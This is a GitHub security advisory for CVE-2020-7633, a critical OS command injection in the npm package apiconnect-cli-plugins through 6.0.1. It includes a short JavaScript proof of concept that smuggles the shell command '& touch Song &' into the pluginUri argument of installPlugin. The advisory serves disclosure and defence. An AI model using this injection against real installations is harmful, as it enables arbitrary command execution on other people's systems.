GitHub Advisoryadvisory · npm
GHSA-c9m9-48pw-6mpv apiconnect-cli-plugins vulnerable to OS Command Injection
CRITICAL
Official page ↗
- Aliases
- CVE-2020-7633
- Ecosystem
- npm
- Packages
- apiconnect-cli-plugins
- Severity
- Critical
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Weaknesses
- CWE-78
- Reviewed
- 2023-10-19
Affected packages
• npm apiconnect-cli-plugins: <= 6.0.1 (no fix yet)
Description
apiconnect-cli-plugins through 6.0.1 is vulnerable to Command Injection. It allows execution of arbitrary commands via the `pluginUri` argument.
PoC
```js
var root = require("apiconnect-cli-plugins");
var payload = "& touch Song &";
root.pluginLoader.installPlugin(payload, "");
```
The injection point is located in line 181 of file `lib/plugin-loader.js`, in the function `installPlugin(pluginUri, registryUri)`.
Related
Alias · CVE (1)
- CVE-2020-7633 apiconnect-cli-plugins through 6.0.1 is vulnerable to Command Injection.It allows execution of arbitrary commands via the pluginUri… vulnerability
Weakness · CWE (1)
- CWE-78 Improper Neutralization of Special Elements used in an OS Command weakness